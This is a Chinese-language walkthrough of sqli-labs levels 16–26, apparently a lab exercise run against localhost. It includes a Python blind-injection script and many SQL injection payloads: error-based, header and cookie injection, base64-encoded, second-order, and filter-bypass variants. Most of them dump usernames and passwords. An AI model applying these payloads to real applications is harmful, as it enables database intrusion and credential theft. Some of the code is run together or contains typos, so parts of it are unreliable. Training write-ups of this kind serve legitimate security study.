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less-16

• 发现和less15差不多，就闭合变为了”）

3.注入

import requestsurl  = "http://localhost/sqlilabs/Less-16/"
def get_database(url, yuju, chishu):name = ''for i in range(1, chishu):minr = 32maxr = 129middle = (minr + maxr) // 2while minr < maxr :data = {"uname": 'admin") and ascii(substr((%s), %d, 1)) > %d -- ' % (yuju, i, middle), "passwd": "asdfadff"}request = requests.post(url, data=data)if "flag.jpg" in request.text:minr = middle + 1# print(True)else:# print(False)maxr = middlemiddle = (minr + maxr) // 2if maxr == 32:break# print(middle)name = name + chr(middle)print(name)yuju = input("输入查询语句:")
chishu = int(input('大概查询次数:'))
get_database(url, yuju, chishu)

less-17

• 这里呢我们发现uname用了过滤，passwd就没有
• 从执行顺序上看发现想进入到注入语句，$row就得有数据，所以用户得存在，然后再passwd处下功夫，用报错注入试试

2.数据库名

1' and updatexml(1,concat(0x7e,(database()),0x7e),1)-- 
1' and (select 1 from (select count(*), concat(database(), floor(rand(0)*2)) as x from information_schema.COLUMNS group by x) as y) -- //floor 报错注入

2.1 floor报错注入数据库名

1' and (select 1 from (select count(*), concat(database(), floor(rand(0)*2)) as x from information_schema.COLUMNS group by x) as y) -- //floor 报错注入

3.查到数据表

1'and updatexml(1, concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--   

3.1floor 报错注入数据表

1' and (select 1 from (select count(*), concat((select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'), floor(rand(0)*2)) as x from information_schema.COLUMNS group by x) as y) -- 

4.查取列名

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)-- 

4.1 floor报错注入 列名

1' and (select 1 from (select count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) as x from information_schema.COLUMNS group by x) as y) -- //floor 报错注入

5.查取内容

1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)-- 

• 很明显这里并没有注入出来，

• 这里报错的意思（你不能在查询user表时，更改表中的数据在同一语句中） 因为这里的注入点时update语句

• 我们这里语句拼接好：

  • update users set password = '1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1) //这里明显有一个查user表的语句
    

1' and updatexml(1,substr(concat(0x7e,(select t.name from (select group_concat(username, 0x3a, password) as name from users ) as t),0x7e),1,32),1)--  //这里修改为创建一个新表，新表的内容为users表的内容，在查询新表

less-18

• 这里我们看到uname，passwd都有被过滤，但是他对响应信息有一个入库的操作，这里我们可以试试

• HTPP_USER_AGENT:user_agent REMOTE_ADDR:X-Forwarded-For

• 用burp suite进行抓包，然后发送到重发部模块
  
  

1.添加X-Forwarded-For测试

• 这里呢我们不用逃逸单引号，因为insert语句这后面需要构造，为了不必要的构造，我们

X-Forwarded-For:1' and updatexml(1, concat(0x7e, (database()), 0x7e), 1) 'and '1'='1

• 没有什么用
  

2修改User-Agent测试

1' and updatexml(1, concat(0x7e, (database()), 0x7e), 1) and '1'='1

3.查数据表名

1' and updatexml(1, concat(0x7e, (select  group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'), 0x7e), 1) and '1'='11' and (select 1 from (select count(*), concat((select group_concat(table_name) from information_schema.columns where table_schema = 'security'), floor(rand(0) * 2)) as x from information_schema.columns group by x) as z )and '1'='1

4.查数据列

1' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 0x7e), 1) and '1'='11' and (select 1 from (select count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) as x from information_schema.COLUMNS group by x) as y) and '1'='1

5.查取数据

1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1) and '1'='1

less-19

• 这里和less-18差不多就是注入点为referer

2.查数据库

1' and updatexml(1, concat(0x7e, (database()), 0x7e), 1) and '1'='1

3.查数据表

1' and updatexml(1, concat(0x7e, (select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'), 0x7e), 1) and '1'='1

4.查数据列

1' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 0x7e), 1) and '1'='1

5.查取数据

1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1) and '1'='1

less-20

• 这里呢只展示了二次提交时候的代码，在二次提交时才会有注入点

• 完整流程大概就是，先判断你有没有cookie，没有就登录，登录通过后设置cookie的uname字段值为用户明，然后二次提交后，再回到这个页面，这次有cookie，就直接到了上面这段代码，发现二次提交时cookie可以改，没有过滤，然后有一个查表的动作，后面有报错语句，利用报错注入

• 第一次提交
  

• 第二次提交

2.查数据库

1' and updatexml(1, concat(0x7e, (database()), 0x7e), 1) --+

3.查数据表

1' and updatexml(1, concat(0x7e, (select  group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'), 0x7e), 1)--+

4.查数据列

1' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 0x7e), 1) --+

5.查取数据

1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1) --+

less-21

• 其实和less-20差不多，就多了个base64的编码解码，闭合改为了 ')

2.查数据库

1') and updatexml(1, concat(0x7e, (database()), 0x7e), 1) -- //末尾空格
编码后：MScpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIChkYXRhYmFzZSgpKSwgMHg3ZSksIDEpLS0g

3.查数据表

1') and updatexml(1, concat(0x7e, (select  group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'), 0x7e), 1)--  
MScpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIChzZWxlY3QgZ3JvdXBfY29uY2F0KGRpc3RpbmN0IHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyksIDB4N2UpLCAxKS0tIA==

4.查数据列

1') and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 0x7e), 1) -- MScpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScgYW5kIHRhYmxlX25hbWUgPSAndXNlcnMnKSwgMHg3ZSksIDEpIC0tIA==

5.查取数据

1') and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1) -- MScpIGFuZCB1cGRhdGV4bWwoMSxzdWJzdHIoY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyksMHg3ZSksMSwzMiksMSkgLS0g

less-22

• 其实和less-22差不多，就逃逸符号为双引号

2.查数据库

1" and updatexml(1, concat(0x7e, (database()), 0x7e), 1) -- //末尾空格
编码后：MSIgYW5kIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgKGRhdGFiYXNlKCkpLCAweDdlKSwgMSkgLS0g

3.查数据表

1" and updatexml(1, concat(0x7e, (select  group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'), 0x7e), 1)--  MSIgYW5kIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgKHNlbGVjdCAgZ3JvdXBfY29uY2F0KGRpc3RpbmN0IHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyksIDB4N2UpLCAxKS0tICA=

4.查数据列

1" and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 0x7e), 1) -- MSIgYW5kIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyBhbmQgdGFibGVfbmFtZSA9ICd1c2VycycpLCAweDdlKSwgMSkgLS0g

5.查取数据

1" and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1) -- MSIgYW5kIHVwZGF0ZXhtbCgxLHN1YnN0cihjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwweDdlKSwxLDMyKSwxKSAtLSA=

less-23

• 这里它把注释(–, #)符号过滤了。将它替换成了""
• 所以我们不选择注释，改为闭合 -1’ union select 1,database(),'3
• 拼接为：select * from users where id=’ -1’ union select 1, database(), '3’ limit 0,1;

2.查数据库

?id=-1' union select 1,database(),'3

3.查数据表

?id=-1' union select 1, 2, group_concat(distinct table_name) from information_schema.columns where table_schema = 'security

4.查数据列

?id=-1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users

5.查取数据

?id=-1' union select 1, (select group_concat(username,0x3a,password) from users), '3

less-24

• 这个呢，注入点就是再创建用户的时候，可以用单引号和注释符，虽然单引号会被转意，但是写入库是会吧转义符去掉例如：（admin’#） 接收后（admin\‘#）写入数据库时(admin’#) ，取出时也是(admin’#)
• 这时候我们改密码时候：我们用户虽然时admin’#，但是#在数据库时注释符，再上面截屏中的更新语句中实际上更新的是admin的用户
• 所以我们可以通过admin用户登录

创建用户admin’#

修改admin’#的密码

我们admin的密码是admin，这里我们用登录admin用户，密码用1登陆试试

登陆成功

less-25

2.查数据库

?id=-1' union select 1, database(),1 --+

3.查看数据表

id=-1' union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+

4.查看数据列

常见and or 绕过

大小写混杂绕过：anD，Or等

• 这里失败了，因为它忽略大小写，无论带小写都会匹配上

?id=1' AnD '1'='1

复写绕过：anandd， oorr等

运算符绕过：|| (&&在url中会省略后面的参数)

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security' anandd table_name = 'users'--+ ?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security' && table_name = 'users'--+ ?id=1' || '1'='2

url编码绕过 |：%7c &：%26

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security' %26%26 table_name = 'users'--+ 

5.查数据

id=-1' union select 1,group_concat(username), group_concat(password) from users --+ 

less-26

• 这里呢过滤了and or 忽略大小写：这点倒是可以过滤比如 编码 复写
• 还有注释符-- #：通过闭合来绕过
• 至于空格：可以用多行注释（/**/，用(),``来界定，或者其他字符代替
  • 

2.查询数据库

?id=-1' || updataxml(1,concat(0x7e,database(),0x7e),1)oorr'1'='1

3.数据表

?id=-1' || updatexml(1,concat(0x7e,(select(group_concat(distinct `table_name`))from(infoorrmation_schema.columns)where `table_schema`='security'),0x7e),1)oorr'1'='1

4.数据列

id=1' || updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where `table_schema`='security'anandd`table_name`='users'),0x7e),1)anandd'1'='1

5.数据内容

?id=-1'||updatexml(1,substr(concat(0x7e,(select(group_concat(username,0x3a,passwoorrd))from(users)),0x7e),1,32),1)aandnd'1'='1